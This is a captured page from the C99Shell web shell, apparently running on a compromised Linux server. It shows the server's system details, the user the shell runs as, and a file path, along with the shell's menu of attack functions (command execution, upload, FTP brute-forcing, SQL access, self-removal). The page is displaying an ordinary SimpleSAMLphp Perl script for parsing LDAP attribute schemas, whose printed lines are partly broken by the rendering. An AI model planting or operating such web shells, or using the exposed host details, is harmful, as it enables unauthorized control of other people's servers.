!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/bin/   drwxr-xr-x
Free 14.54 GB of 61.93 GB (23.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ldapattrschemaparser.pl (2.21 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env perl
use strict;
use warnings;

my @valid_formats = (
    'simple',
    'oid2name',
    'oid2urn',
    'name2oid',
    'name2urn',
    'urn2oid',
    'urn2name',
    );

my $format = shift;
unless (defined($format)) {
    print(STDERR "Usage: simpleparser.pl FORMAT <FILES>\n");
    print(STDERR "Valid formats: ", join(' ', @valid_formats), "\n");
    exit(1);
}

unless (grep { $_ eq $format } @valid_formats) {
    print(STDERR "Invalid format: $format\n");
    print(STDERR "Valid formats: ", join(' ', @valid_formats), "\n");
    exit(1);
}
    

# Load file
my $text = join('', <>);

# Strip comments
$text =~ s/#.*$//gm;

my %oids;
my %names;

while ($text =~ m"attributetype\s*\(\s*([\d.]+).*?NAME\s+(?:'(.*?)'|(\(.*?\)))"sg) {
    my $oid = $1;
    my @attributes;
    if (defined($2)) {
    # Single attribute
    @attributes = ($2);
    } else {
    # Multiple attributes
    my $input = $3;
    while ($input =~ m"'(.*?)'"gs) {
        push(@attributes, $1);
    }
    }

    foreach my $attrname (@attributes) {
    $names{$attrname} = $oid;
    }
    $oids{$oid} = [ @attributes ];
}


if ($format eq 'simple') {
    foreach my $oid (sort keys %oids) {
    my @names = @{$oids{$oid}};
    print "$oid ", join(' ', @names), "\n";
    }
    exit(0);
}

print "<?php\n";
print "
\$attributemap = array(\n";

if (
$format eq 'oid2name') {
    foreach my 
$oid (sort keys %oids) {
    my 
$name = $oids{$oid}->[0];
    print "
\t'urn:oid:$oid' => '$name',\n";
    }
} elsif (
$format eq 'oid2urn') {
    foreach my 
$oid (sort keys %oids) {
    my 
$name = $oids{$oid}->[0];
    print "
\t'urn:oid:$oid' => 'urn:mace:dir:attribute-def:$name',\n";
    }
} elsif (
$format eq 'name2oid') {
    foreach my 
$name (sort keys %names) {
    my 
$oid = $names{$name};
    print "
\t'$name' => 'urn:oid:$oid',\n";
    }
} elsif (
$format eq 'name2urn') {
    foreach my 
$name (sort keys %names) {
    print "
\t'$name' => 'urn:mace:dir:attribute-def:$name',\n";
    }
} elsif (
$format eq 'urn2oid') {
    foreach my 
$name (sort keys %names) {
    my 
$oid = $names{$name};
    print "
\t'urn:mace:dir:attribute-def:$name' => 'urn:oid:$oid',\n";
    }
} elsif (
$format eq 'urn2name') {
    foreach my 
$name (sort keys %names) {
    print "
\t'urn:mace:dir:attribute-def:$name' => '$name',\n";
    }
}

print "
);\n";
print "
?>";


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5556 ]--